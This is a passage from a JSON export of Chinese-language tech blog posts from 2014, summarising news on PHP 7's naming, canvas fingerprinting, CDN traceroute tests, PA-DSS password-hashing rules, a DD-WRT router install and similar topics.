    "body": "在 <a href=\"http://php.net/\">PHP</a> 的 wiki 上大戰了快一個月後決定叫 PHP 7：「<a href=\"https://wiki.php.net/rfc/php6\">PHP RFC: Name of Next Release of PHP</a>」。\r\n\r\n票數是 58 對 24 票。\r\n\r\n仔細看一下討論的整理，有一些原因其實還蠻... XD (雖然感覺上只是讓大家放鬆一下？)\r\n\r\n<blockquote>As a special non serious bonus, 7 is perceived as a lucky number in both the Western world and Chinese culture. A little bit of luck never hurt anybody. http://en.wikipedia.org/wiki/Numbers_in_Chinese_culture (no, we're not truly seeing it as a real advantage - the case for 7 is very strong without it).</blockquote>",
    "title": "PHP 下一個主版本更新會是 PHP 7"
  },
  {
    "id": "4927",
    "body": "Canvas Fingerprint 已經很久了，在「<a href=\"https://securehomes.esat.kuleuven.be/~gacar/persistent/index.html\">The Web never forgets: Persistent tracking mechanisms in the wild</a>」說明了 Canvas Fingerprint 的歷史：\r\n\r\n<blockquote>Canvas fingerprinting is a type of browser or device fingerprinting technique that was first presented by Mowery and Shacham in 2012.</blockquote>\r\n\r\n原始論文可以在「<a href=\"https://cseweb.ucsd.edu/~hovav/papers/ms12.html\">Pixel Perfect: Fingerprinting Canvas in HTML5</a>」這邊看到。原理是利用不同機器對字型 render 不一樣的原理再對產生出來的圖片 hash 後當作 cookie 替代品。\r\n\r\n兩個禮拜前突然紅起來是因為被發現廣泛使用在很多服務以及網站上，像是 <a href=\"http://www.addthis.com/\">AddThis</a> (於是一堆網站中獎)，以及 <a href=\"http://www.whitehouse.gov/\">WhiteHouse.gov</a> (喔喔！)，然後還有 <a href=\"http://www.youporn.com/\">YouPorn.com</a> (XDDD)：「<a href=\"https://www.eff.org/deeplinks/2014/07/white-house-website-includes-unique-non-cookie-tracker-despite-privacy-policy\">White House Website Includes Unique Non-Cookie Tracker, Conflicts With Privacy Policy</a>」、「<a href=\"http://www.osnews.com/story/27853/Meet_the_online_tracking_device_that_is_virtually_impossible_to_block\">Meet the online tracking device that is virtually impossible to block</a>」。\r\n\r\n拿 canvas fingerprint 去各瀏覽器的 extension 上找，目前 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上可以安裝「<a href=\"https://chrome.google.com/webstore/detail/canvasfingerprintblock/ipmjngkmngdcdpmgmiebdmfbkcecdndc\">CanvasFingerprintBlock</a>」來擋，Firefox 的沒找到？",
    "title": "用 Canvas Fingerprint 取代部份 Cookie"
  },
  {
    "id": "4929",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2014/08/mobile-internet-explorers-new-user-agent.html\">Mobile Internet Explorer's New User Agent</a>」這邊看到 Nokia Lumia 520 會送出：\r\n\r\n<img src=\"//i.imgur.com/YZckqSd.png\" alt=\"\" />\r\n\r\n開始惡搞了...",
    "title": "最新的 Windows Phone 8.1 更新會送出 Android 的 User-Agent..."
  },
  {
    "id": "4931",
    "body": "在「<a href=\"http://www.hostingjournalist.com/cdn-hosting/leaseweb-adds-resell-functionality-to-its-global-cdn-built-for-high-bandwidth-capacity/\">LeaseWeb Adds Resell Functionality to Its Global CDN Built for High-Bandwidth Capacity</a>」這邊看到 Leaseweb 的 CDN，拿來測試測試...\r\n\r\n官網可以在「<a href=\"http://www.leaseweb.com/en/cdn\">Next-Generation CDN - LeaseWeb</a>」這邊看到，以 pay-as-you-go 的價位來看，還算便宜？\r\n\r\n從 Demo site 可以看到 <code>vod.leasewebcdn.com</code> 這個 domain 掛上去，從台灣 traceroute 過去是到新加坡，有點差：\r\n\r\n<pre><small>  4.|-- TPDT-3011.hinet.net        0.0%    10   15.6  17.9   7.8  35.4   8.5\r\n  5.|-- r4104-s2.tp.hinet.net      0.0%    10    6.7  17.9   6.7  32.6  10.3\r\n  6.|-- r4004-s2.tp.hinet.net      0.0%    10    6.9  14.6   6.6  41.4  13.2\r\n  7.|-- if-1-1.core3.HK2-Hong-Kon  0.0%    10  173.4 178.5 173.0 192.2   8.1\r\n  8.|-- if-0-1-3-39.tcore1.HK2-Ho  0.0%    10  195.8 205.1 195.5 222.3  11.7\r\n  9.|-- if-1-2.tcore2.SVW-Singapo 20.0%    10  205.0 214.2 204.5 241.2  14.3\r\n 10.|-- if-20-2.tcore1.SVQ-Singap  0.0%    10  212.8 202.5 193.5 230.4  13.9\r\n 11.|-- 180.87.96.34               0.0%    10  111.5 110.5  90.7 144.6  19.6\r\n 12.|-- 103.254.152.207            0.0%    10   92.5  97.7  92.5 108.2   6.0\r\n 13.|-- 103.254.152.133            0.0%    10  113.0  96.6  89.2 113.0  10.8\r\n 14.|-- 103.254.152.5             10.0%    10   92.7 100.4  92.7 113.5   9.3</small></pre>\r\n\r\n從日本 <a href=\"https://www.linode.com/\">Linode</a> 過去也是新加坡：\r\n\r\n<pre><small>  3.|-- otejbb205.int-gw.kddi.ne.  0.0%    10    1.5   1.6   1.5   1.7   0.0\r\n  4.|-- ix-ote212.int-gw.kddi.ne.  0.0%    10    1.7   5.6   1.7  13.0   4.1\r\n  5.|-- Vlan527.ihar1.OVC-Tokyo.a  0.0%    10    2.1   8.2   2.1  14.0   5.1\r\n  6.|-- if-8-2.tcore2.TV2-Tokyo.a  0.0%    10    1.9   3.5   1.9  15.0   4.1\r\n  7.|-- if-6-2.tcore1.SVW-Singapo  0.0%    10   76.2  77.7  76.2  83.6   2.2\r\n  8.|-- if-2-2.tcore2.SVW-Singapo  0.0%    10   76.1  76.4  76.1  78.4   0.7\r\n  9.|-- if-20-2.tcore1.SVQ-Singap  0.0%    10   76.1  76.1  76.0  76.3   0.0\r\n 10.|-- 180.87.96.34               0.0%    10   75.0  75.0  75.0  75.1   0.0\r\n 11.|-- 103.254.152.193            0.0%    10   75.6  76.0  75.6  77.8   0.6\r\n 12.|-- 103.254.152.135            0.0%    10   75.1  75.1  75.0  75.6   0.0\r\n 13.|-- 103.254.152.5              0.0%    10   76.1  76.5  75.9  78.6   0.7</small></pre>\r\n\r\n從 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 加州的點測試：\r\n\r\n<pre><small>  3.|-- sjo-bb1-link.telia.net     0.0%    10    1.9   2.5   1.8   8.2   2.0\r\n  4.|-- ash-bb3-link.telia.net     0.0%    10   76.1  76.1  76.0  76.1   0.0\r\n  5.|-- ash-b2-link.telia.net      0.0%    10   76.2  76.2  76.1  76.5   0.1\r\n  6.|-- leaseweb-ic-150715-ash-b2  0.0%    10   77.3  77.3  77.1  77.9   0.2\r\n  7.|-- po1.cs1.wdc1.leaseweb.net  0.0%    10   76.8  76.9  76.8  77.0   0.1\r\n  8.|-- 185.28.70.36               0.0%    10   76.9  77.1  76.8  78.1   0.4</small></pre>\r\n\r\n這樣感覺不太行啊，根本沒抓到重點啊...",
    "title": "Leaseweb 的 CDN"
  },
  {
    "id": "4935",
    "body": "在 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的官方 blog 上的公告：「<a href=\"http://blog.cloudflare.com/cloudflare-now-supports-websockets\">CloudFlare Now Supports WebSockets</a>」。\r\n\r\n於是 CloudFlare 自豪的 DDoS 防護服務也涵蓋到 WebSockets 了：\r\n\r\n<blockquote>The ability to protect and accelerate WebSockets has been one of our most requested features.</blockquote>\r\n\r\n裡面其實還提到一些 CDN + WebSockets 的技術問題 (像是 port 的數量)，有興趣的可以再仔細看 :o",
    "title": "CloudFlare 支援 WebSockets"
  },
  {
    "id": "4937",
    "body": "員工旅遊時看到「<a href=\"http://notepadconf.com/\">NotepadConf</a>」這個讓人笑噴啊，當你點下 Register Now! 的按鈕時出現：\r\n\r\n<img src=\"//i.imgur.com/mQuV3rg.png\" alt=\"\" />\r\n\r\n所以到底會不會辦呢 XDDD",
    "title": "十一月在明尼蘇達州辦的 NotepadConf"
  },
  {
    "id": "4939",
    "body": "在「<a href=\"http://www.datacenterknowledge.com/archives/2014/08/08/cluster-management-tool-cuts-power-facebook-servers-consume/\">Facebook’s New Cluster Management Software Cuts Power Consumption</a>」這篇看到 <a href=\"https://www.facebook.com/\">Facebook</a> 的 <a href=\"https://www.facebook.com/qwu\">Qiang Wu</a> 說明了他們發展的 Autoscale 技術對於電力消耗的差異：\r\n\r\n<blockquote>One type of a web server Facebook uses, for example, draws 60 watts when idle, 130 watts at low-level CPU utilization and 150 watts at medium-level utilization.</blockquote>\r\n\r\n利用這種差異，與傳統的 load balancing 技術比較起來，就有節省的空間了：\r\n\r\n<img src=\"//i.imgur.com/RFRyLI8.jpg\" alt=\"\" />\r\n\r\n這是 web cluster 節省的情況，約省了 27% 的電力，這個數字以 Facebook 的規模來計算省下的電力資源超級可觀...",
    "title": "Facebook 的 Autoscale 對於電力消耗的差異"
  },
  {
    "id": "4941",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 跨區域搬資料有一堆方式，而官方今天在 blog 上推薦了用 <a href=\"http://tsunami-udp.sourceforge.net/\">Tsunami UDP</a> 搬移的方式：「<a href=\"http://blogs.aws.amazon.com/bigdata/post/Tx33R88KHCWEOHT/Moving-Big-Data-into-the-Cloud-with-Tsunami-UDP\">Moving Big Data into the Cloud with Tsunami UDP</a>」。\r\n\r\n<img src=\"//i.imgur.com/vkyTrhB.png\" alt=\"\" />\r\n\r\n看文章上的說明，看起來是從 Tokyo 搬到 Virginia (還是反過來？)，有很穩定的 651Mbps 在傳輸 XD\r\n\r\n看起來之後用的到，這個方法留起來參考...",
    "title": "AWS 跨區域搬大量資料的方式"
  },
  {
    "id": "4945",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的，<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 33 將當初 <a href=\"http://www.cisco.com/\">Cisco</a> 所提供的 <a href=\"http://www.openh264.org/\">OpenH264</a> binary 給納進來了：「<a href=\"http://yro.slashdot.org/story/14/07/23/1312227/firefox-33-integrates-ciscos-openh264\">Firefox 33 Integrates Cisco's OpenH264</a>」。\r\n\r\n這樣一來，主流的瀏覽器都 (將會) 支援 H.264，可以參考「<a href=\"http://caniuse.com/mpeg4\">Can I use the MPEG-4/H.264 video format?</a>」這邊的資料。",
    "title": "Firefox 33 的 OpenH264"
  },
  {
    "id": "4947",
    "body": "之前就看到這個網站，堆在瀏覽器頁上一陣子了：「<a href=\"http://coolgithubprojects.com/\">CoolGithubProjects</a>」。\r\n\r\n看起來是依照 <a href=\"http://www.reddit.com/\">reddit</a> 的數據分析出來的，有每天、每週、每月的熱門專案。另外有 csv 檔可以下載數據，晚點來找有沒有人已經把 RSS feed 弄出來？每天看一下有哪些熱門專案...",
    "title": "GitHub 上的熱門專案"
  },
  {
    "id": "4950",
    "body": "兩個多禮拜前的文章：「<a href=\"https://palant.de/2014/07/29/which-is-better-adblock-or-adblock-plus\">Which is better, Adblock or Adblock Plus?</a>」，比較了 Google Chrome 上兩個擋廣告的套件：「<a href=\"https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom\">AdBlock</a>」以及「<a href=\"https://chrome.google.com/webstore/detail/adblock-plus/cfhdojbkjhnklbpkdaibdccddilifddb\">Adblock Plus</a>」。\r\n\r\n這邊直接先講結論，AdBlock 有嚴重的隱私問題，在「What are they hiding?」這段列出了 AdBlock 2.6.11 (2013-10-25) 版本之後的各種追蹤方式 (而且愈來愈誇張)，即使到最新版仍然有隱私的 issue：\r\n\r\n<blockquote>Two new AdBlock versions came out since that blog post was published. AdBlock 2.7.9 fixed the bug I mentioned above, now only getadblock.com can track AdBlock users and no other websites.</blockquote>",
    "title": "AdBlock 與 Adblock Plus 的差異"
  },
  {
    "id": "4952",
    "body": "正式公告出來了，<a href=\"http://php.net/\">PHP</a> 5.3.29 是 PHP 5.3 的最後一個版本：「<a href=\"http://php.net/archive/2014.php#id2014-08-14-1\">PHP 5.3.29 is available, PHP 5.3 reaching end of life</a>」。\r\n\r\nPHP 5.3 到 5.4 參考「<a href=\"http://www.php.net/migration54\">Migrating from PHP 5.3.x to PHP 5.4.x</a>」這篇，而 PHP 5.4 到 5.5 則是參考「<a href=\"http://www.php.net/migration55\">Migrating from PHP 5.4.x to PHP 5.5.x</a>」這篇，最主要的是 Backward Incompatible Changes 這頁 (兩個 migrate 文件都有)，說明有哪些變更是不相容的。\r\n\r\n如果可以的話，直接將 PHP 5.3 升級到 PHP 5.5 會是比較適合的選擇。(因為 5.4 升級到 5.5 幾乎沒有問題，可以參考 Backward Incompatible Changes 頁面，根本就沒幾項 XD)",
    "title": "PHP 5.3 的最後一版，PHP 5.3.29"
  },
  {
    "id": "4955",
    "body": "在「<a href=\"https://github.com/bolshchikov/js-must-watch\">Must-watch videos about javascript</a>」這邊列出了不少 JavaScript 相關的影片。不是給初學者看的，而是給已經研究過一陣子的人看的進階影片。\r\n\r\n影片從 2009 年的「<a href=\"https://www.youtube.com/watch?v=vXjVFPosQHw\">Nicholas Zakas: Scalable JavaScript Application Architecture</a>」整理到 2014 年...\r\n\r\n不過 2035 年那份「<a href=\"https://www.destroyallsoftware.com/talks/the-birth-and-death-of-javascript\">Gary Bernhardt: The Birth & Death of Javascript</a>」是怎樣 XDDD",
    "title": "介紹 JavaScript 的影片"
  },
  {
    "id": "4958",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到有人講：「<a href=\"https://chrome.google.com/webstore/detail/vim/dhhoacdlegcbdglbfnhgnlchpkdlofkb\">Vim console application running using NativeClient</a>」，實際跑起來長這樣：\r\n\r\n<img src=\"//i.imgur.com/pahGXJ0.png\" alt=\"\" />\r\n\r\n只是跑起來測試，因為平常用的平台 (<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 與 <a href=\"https://www.apple.com/osx/\">Mac OS X</a>) 都有原生的 <a href=\"http://www.vim.org/\">Vim</a> 可以用...\r\n\r\n這算是 <a href=\"https://developer.chrome.com/native-client\">Native Client</a> 的火力展示嗎？",
    "title": "Google Chrome 上使用 Native Client (NaCl) 執行 Vim..."
  },
  {
    "id": "4960",
    "body": "在 <a href=\"http://superuser.com/\">Super User</a> 上出現這個問題：「<a href=\"http://superuser.com/questions/792607/why-does-windows-think-that-my-wireless-keyboard-is-a-toaster\">Why does Windows think that my wireless keyboard is a toaster?</a>」，無線鍵盤變成麵包機 XDDDDDDD\r\n\r\n<img src=\"//i.imgur.com/C4gJQrH.png\" alt=\"\" />\r\n\r\n原因是出自 <a href=\"http://www.microsoft.com/\">Microsoft</a> 提供程式碼範例的預設值 (<a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff550727%28v=vs.85%29.aspx\">Sample DeviceInfo XML Data</a>)，如果廠商寫 driver 時沒改，就會變成這樣 XDDDDDDDDD",
    "title": "Windows 7 的無線鍵盤 icon 出現麵包機 icon 的原因..."
  },
  {
    "id": "4963",
    "body": "應該是某天 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 的連結，堆在瀏覽器上面：「<a href=\"http://nomadlist.io/\">NomadList</a>」：\r\n\r\n<blockquote>The best cities to live and work remotely, based on cost of living, weather, internet speed and other metrics. By @levelsio</blockquote>\r\n\r\n比較的標準包含了生活消費、氣溫與網路速度... 如果不設條件搜尋，前三名是清邁、台北、曼谷？hmmm...",
    "title": "NomadList 的「最佳遠端上班城市排名」"
  },
  {
    "id": "4966",
    "body": "為什麼這種方法讓我想到某組台北市長候選人的團隊呢...\r\n\r\n從「<a href=\"http://pagesix.com/2014/08/04/hotel-charges-500-for-every-bad-review-posted-online/\">Hotel fines $500 for every bad review posted online</a>」這篇看到的消息，要再 <a href=\"http://www.yelp.com/\">Yelp</a> 上維持好評價的方式：\r\n\r\n<blockquote>The <a href=\"http://www.unionstreetguesthouse.com/\">Union Street Guest House</a>, near Catskills estates built by the Vanderbilts and Rockefellers, charges couples who book weddings at the venue $500 for every bad review posted online by their guests.</blockquote>\r\n\r\n<blockquote>If you take down the nasty review, you’ll get your money back.</blockquote>\r\n\r\n這方法好讚啊 XDDD\r\n\r\n自從報導出來後，Yelp 上的頁面「<a href=\"http://www.yelp.com/biz/union-street-guest-house-hudson\">Union Street Guest House - Hudson, NY | Yelp</a>」就透露出這家飯店的真實了... 一戰成名啊 XDDD ",
    "title": "飯店取得好評價的方法？"
  },
  {
    "id": "4968",
    "body": "也忘記在哪邊看到的，反正是留在 browser 上的連結。\r\n\r\n從 <a href=\"http://puppetlabs.com/\">puppet</a> 跳槽，因為 <a href=\"http://www.saltstack.com/\">SaltStack</a> (Salt) 與 <a href=\"http://www.ansible.com/home\">Ansible</a> 都是使用 Python 而被選擇，然後完整比較後記錄下來：「<a href=\"http://ryandlane.com/blog/2014/08/04/moving-away-from-puppet-saltstack-or-ansible/\">Moving away from Puppet: SaltStack or Ansible?</a>」。\r\n\r\n先說結論，最後看起來是選擇了 Salt：\r\n\r\n<blockquote>At this point both Salt and Ansible are viable and excellent options for replacing Puppet. As you may have guessed by now, I’m more in favor of Salt.</blockquote>\r\n\r\n作者花了相當多的時間比較得到結論，包括從 puppet porting 一個完整的部份 (不是全部，不過還是為數可觀的部份)，以及 porting 中間發現問題後開 ticket 詢問。除了技術面上的評估外，還包括了 community 的態度... (其實是狂婊 Ansible... XDDD)",
    "title": "SaltStack 與 Ansible 的比較"
  },
  {
    "id": "4970",
    "body": "在「<a href=\"http://sixrevisions.com/resources/free-public-cdns/\">A List of Free Public CDNs for Web Developers</a>」這篇文章裡面列出了網路上免費的 CDN 資源。\r\n\r\n可以看到 <a href=\"http://www.maxcdn.com/\">MaxCDN</a> (<a href=\"http://www.jsdelivr.com/\">jsDelivr</a>、<a href=\"http://osscdn.com/\">OSSCDN</a>、<a href=\"http://code.jquery.com/\">jQuery CDN</a>) 與 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> (<a href=\"http://cdnjs.com/\">cdnjs</a>) 都投資了不少在其中。不過 MaxCDN 的部份都沒有拿出亞洲 PoP 來用，速度還是慢了不少...\r\n\r\n對於有使用各種套件的人，可以在這邊的列表上找一找，除了可以節省自己機器的頻寬負擔外，另外用 CDN 也有機會與其他人共用 cache 而加速...",
    "title": "免費的 CDN 資源"
  },
  {
    "id": "4972",
    "body": "貼圖就好，看得懂的人應該會笑出來 XDDD\r\n\r\n<a href=\"http://xkcd.com/1409/\"><img src=\"//i.imgur.com/CnJ3ov2.png\" alt=\"xkcd: Query\" /></a>",
    "title": "xkcd 的「Query」"
  },
  {
    "id": "4975",
    "body": "這篇「<a href=\"http://the-paper-trail.org/blog/distributed-systems-theory-for-the-distributed-systems-engineer/\">Distributed systems theory for the distributed systems engineer</a>」列出了分散式系統的許多理論，以及後來開發的經典應用。\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>I need to improve my proficiency in distributed systems theory. Where do I start? Any recommended books?</p>&mdash; Gwen (Chen) Shapira (@gwenshap) <a href=\"https://twitter.com/gwenshap/statuses/497203248332165121\">August 7, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這篇文章是回答 <a href=\"http://www.cloudera.com/\">Cloudera</a> 的某位全職員工而寫的，所以避開了太學術性質的論文，而是夾雜比較容易讀的解釋文章，以及維基百科的資料。\r\n\r\n文章裡出現很多有聽過但是沒有深入了解過的詞彙。這篇介紹文章可以當作入口點...",
    "title": "分散式系統的基礎理論"
  },
  {
    "id": "4977",
    "body": "7/26 就買了，算一算到現在也快四個禮拜，剛剛總算是讀完了，所以可以跟大家推薦《<a href=\"https://leanpub.com/build-apis-you-wont-hate\">Build APIs You Won't Hate</a>》這本書。\r\n\r\n<img src=\"//i.imgur.com/szxyv3p.png\" alt=\"\" />\r\n\r\n作者 <a href=\"http://philsturgeon.uk/\">Phil Sturgeon</a> 是 <a href=\"http://www.php.net/\">PHP</a> 的資深開發者，同時也是 <a href=\"http://www.php-fig.org/\">PHP-FIG</a> 的投票成員。\r\n\r\n這本書講了很多 API 設計時會遇到的問題。作者不是直接講「用什麼方法是對的」，而是提出每一種方法的缺點，然後再下結論。\r\n\r\n尤其是缺點的部份，呼應主題的「You won't hate」，如果你因為總總原因而無法設計出完美的 API，你至少要避免設計出你自己看了就討厭的 API。\r\n\r\n裡面也給了很多程式範例 (大多都是 PHP)，甚至告訴你寫 API 文件的重點。\r\n\r\n推薦這本書給所有需要設計或實做 API 的人。",
    "title": "推薦《Build APIs You Won't Hate》這本書"
  },
  {
    "id": "4986",
    "body": "在「<a href=\"http://www.slate.com/blogs/future_tense/2014/08/15/shark_attacks_threaten_google_s_undersea_internet_cables_video.html\">The Global Internet Is Being Attacked by Sharks, Google Confirms</a>」這篇文章裡提到 <a href=\"https://www.google.com/\">Google</a> 證實了海纜常常被鯊魚咬：\r\n\r\n<img src=\"//i.imgur.com/7lXcayE.jpg\" alt=\"\" />\r\n\r\n不過貼到 <a href=\"https://www.facebook.com/\">Facebook</a> 上後被同事與朋友直接講「是因為太像脆笛酥」XDDD\r\n\r\n<img src=\"//i.imgur.com/y5Qx02C.jpg\" alt=\"\" />\r\n<small>取自「<a href=\"http://blog.fashionguide.com.tw/2263-imlittlewen/posts/17100-%E5%90%88%E8%B3%BC%E7%BE%8E%E9%A3%9F%E2%88%BC%E9%BB%91%E5%B8%AB%E5%82%85%E6%8D%B2%E5%BF%83%E9%85%A5\">合購美食∼黑師傅捲心酥</a>」</small>\r\n\r\n是真的很像啊 XDDD",
    "title": "因為海纜太像脆笛酥，所以一直被咬？"
  },
  {
    "id": "4988",
    "body": "<a href=\"https://www.lyft.com/\">Lyft</a> 是一家網路叫車服務，概觀來說就是 <a href=\"https://www.uber.com/\">Uber</a> 的競爭對手。\r\n\r\n上個禮拜，八月十一日 (8/11) 時，<a href=\"http://money.cnn.com/\">CNNMoney</a> 報導了 Uber 的職員在去年十月時，惡性叫車又取消超過五千次，造成 Lyft 的司機花費大量白工：「<a href=\"http://money.cnn.com/2014/08/11/technology/uber-fake-ride-requests-lyft/\">Uber's dirty tricks quantified: Rival counts 5,560 canceled rides</a>」。\r\n\r\n這些資料是 CNNMoney 的記者在今年八月四日 (8/4) 報導 Uber 報導「<a href=\"http://money.cnn.com/2014/08/04/technology/uber-lyft/\">Uber threatens drivers: Do not work for Lyft</a>」時由 Lyft 提供而取得：\r\n\r\n<img src=\"//i.imgur.com/AL50nEU.jpg\" alt=\"\" />\r\n\r\n<blockquote>The text cited regulations by the New York Taxi and Limousine Commission. The TLC said the messages were not accurate.</blockquote>\r\n\r\n而更早之前，CNNMoney 在今年一月二十四日 (1/24) 就報導過 Uber 用同樣手法對付紐約的 <a href=\"http://gett.com/\">Gett</a>：「<a href=\"http://money.cnn.com/2014/01/24/technology/social/uber-gett/index.html\">Uber rival accuses car service of dirty tactics</a>」。\r\n\r\n這些故事相當精彩啊...",
    "title": "Lyft 對 Uber 惡性競爭的指控"
  },
  {
    "id": "4990",
    "body": "<a href=\"http://www.mailgun.com/\">Mailgun</a> 公開了一份電子郵件範本，讓你可以在各種平台上面都正確顯示：「<a href=\"http://blog.mailgun.com/transactional-html-email-templates/\">Transactional HTML Email Templates</a>」。\r\n\r\n公開的範本在 <a href=\"https://github.com/\">GitHub</a> 上可以取得：「<a href=\"https://github.com/mailgun/transactional-email-templates\">mailgun/transactional-email-templates</a>」。\r\n\r\n不過另外看到 <a href=\"https://litmus.com/\">Litmus</a> 這個服務可以提供 Email previews，像是 Mailgun 這次放出來的測試可以在「<a href=\"https://litmus.com/pub/3a573b5/screenshots\">TRANSACTIONAL EMAIL TEST</a>」這邊看到，這個服務簡化了測試的過程...",
    "title": "Mailgun 提供的電子郵件範本"
  },
  {
    "id": "4993",
    "body": "<a href=\"http://www.ianww.com/ad-detector/\">AdDetector</a> 是個 <a href=\"https://www.google.com/chrome\">Chrome</a> 與 <a href=\"http://www.mozilla.org/firefox\">Firefox</a> 的套件，可以在頁面上顯示這篇文章是不是付費文章：\r\n\r\n<blockquote>AdDetector reveals articles with corporate sponsors.</blockquote>\r\n\r\n會在最上面出現紅底的警告說明：\r\n\r\n<img src=\"//i.imgur.com/NFWA0Vv.jpg\" alt=\"\" />\r\n\r\n這個套件之所以未被發展出來，主要是因為付費內容即使被標注，也都是很不明顯的標注。這個套件的目的就是希望讓標注更清楚。",
    "title": "判斷是否為付費文章的瀏覽器套件"
  },
  {
    "id": "4995",
    "body": "在「<a href=\"http://www.smashingmagazine.com/2014/08/21/designing-for-mobile-email/\">What 22 Billion Newsletters Tell Us About Designing For Mobile Email</a>」這篇討論現在電子報設計的環境。\r\n\r\n首先是討論 table layout 而引用了 2013 年的數據：\r\n\r\n<img src=\"//i.imgur.com/nlUg1wJ.png\" alt=\"\" />\r\n\r\n可以看到行動平台的比率已經是主流了。在這種情況下是否還適合用 table layout 就變成問題了...\r\n\r\n在文章後面有很多其他的數據以及討論，重點在於推導的過程，而非直接看文章的結論。要有能力透過數據分析。",
    "title": "現代的電子報設計環境"
  },
  {
    "id": "4997",
    "body": "<a href=\"http://anandology.com/python-practice-book/index.html\">Python Practice Book</a> 這份資料對於學過 <a href=\"http://www.python.org/\">Python</a> 又不常用而導致常常忘記的人還蠻好用的，算是復健用的書？\r\n\r\n裡面的範例都是以 Python 2 為主 (因為我拿 Python 3 測試，發現 <code>print</code> 用法不一樣了)，不過還是不錯啦... 大量的範例程式碼可以看。",
    "title": "Python Practice Book"
  },
  {
    "id": "4999",
    "body": "PA-DSS (<a href=\"https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard\">Payment Application Data Security Standard</a>) 是 <a href=\"https://www.pcisecuritystandards.org/\">PCI SSC</a> 訂出來提供給軟體開發商在支援交易時的標準：\r\n\r\n<blockquote>PA-DSS was implemented in an effort to provide the definitive data standard for software vendors that develop payment applications.</blockquote>\r\n\r\n這個標準也有很多版本，最新的 3.0 版是 2013 年 11 月公告的。剛剛在「<a href=\"http://www.securitytube.net/video/10834\">Passwordscon 2014 - Password Security In The Pci Dss - Jarred White</a>」這邊意外看到有提到密碼儲存的要求，出自 PDF 的 Page 34。\r\n\r\n分成幾個部份，PA-DSS Requirements 的部份是寫：\r\n\r\n<blockquote><strong>3.3.2</strong> Use a strong, one-way cryptographic algorithm, based on approved standards to render all payment application passwords unreadable during storage. Each password must have a unique input variable that is concatenated with the password before the cryptographic algorithm is applied.</blockquote>\r\n\r\n標準規定必須使用 one-way cryptographic algorithm，並且必須要有 salt 的設計。\r\n\r\n另外在 Guidance 則是直接建議使用 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 或 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">Bcrypt</a>：\r\n\r\n<blockquote>Concatenating a unique input variable to each password before the hashing algorithm is applied reduces the effectiveness of brute force attacks. Examples of strong one-way cryptographic algorithms suitable for hashing passwords include PBKDF2 and Bcrypt.</blockquote>\r\n\r\n之前在密碼儲存這塊最痛的事情就是沒有夠先進的標準可以遵循，現在總算是有一份金融標準可以拿出來用了...\r\n\r\n參考 2012 年 <a href=\"http://blog.ijliao.info/\">ijliao</a> 就有寫到的「<a href=\"http://blog.ijliao.info/archives/2012/04/07/4552/\">請愛用 bcrypt 和 PBKDF2</a>」。",
    "title": "PA-DSS 3.0 對密碼儲存方式的說明"
  },
  {
    "id": "5003",
    "body": "看到「<a href=\"http://wrtnode.com/\">WRTnode Opened for $25</a>」這個網站的時候，就想起來家裡還在用中華電信數據及提供的無線網路，訊號有點差... 算了一下 USD$25 就算不算運費也要 NTD$750 左右，還是到 <a href=\"http://24h.pchome.com.tw/\">PChome 24h</a> 上找一台可以刷 <a href=\"http://www.dd-wrt.com/\">DD-WRT</a> 的機器來用...\r\n\r\n後來是找到「<a href=\"http://24h.pchome.com.tw/prod/DRAF8P-A90058MKT\">D-Link Wireless N 實用版無線寬頻路由器 DIR-615</a>」這台 NTD$399 的福利品：\r\n\r\n<img src=\"//i.imgur.com/zC3IQL5.jpg\" alt=\"\" />\r\n\r\n會選這台是因為這台出一陣子了，雖然 802.11n 是 draft，但我在家裡用無線網路時不在意... 另外在 DD-WRT 的資料庫內是全部都支援，花白工的機會比較低：\r\n\r\n<img src=\"//i.imgur.com/gIaDWnl.png\" alt=\"\" />\r\n\r\n拿到的時候背面可以看到是 E4 的硬體，對應到 DD-WRT 資料庫：\r\n\r\n<img src=\"//i.imgur.com/Ud5EziB.png\" alt=\"\" />\r\n\r\n後面就照著官方的 <a href=\"http://www.dd-wrt.com/wiki/index.php/Installation\">Installation</a> 文件做，把該設定的值設一設就收工了...",
    "title": "把家裡的無線網路換成 DD-WRT"
  },
  {
    "id": "5005",
    "body": "在「<a href=\"http://securityaffairs.co/wordpress/27724/hacking/side-channel-attack.html\">A new Side channel attack-how to steal encryption keys by touching PCs</a>」這邊看到一種很特別的 side-channel attack：(直接先看圖)\r\n\r\n<img src=\"//i.imgur.com/efvuiEj.png\" alt=\"\" />\r\n\r\n引用說明：\r\n\r\n<blockquote>The signal can also be measured at the remote end of Ethernet, VGA or USB cables.</blockquote>\r\n\r\n方法愈來愈特別了 XDDD",
    "title": "很特別的 Side-channel attack 方法以取得 RSA 與 ElGamel 的 private key"
  },
  {
    "id": "5007",
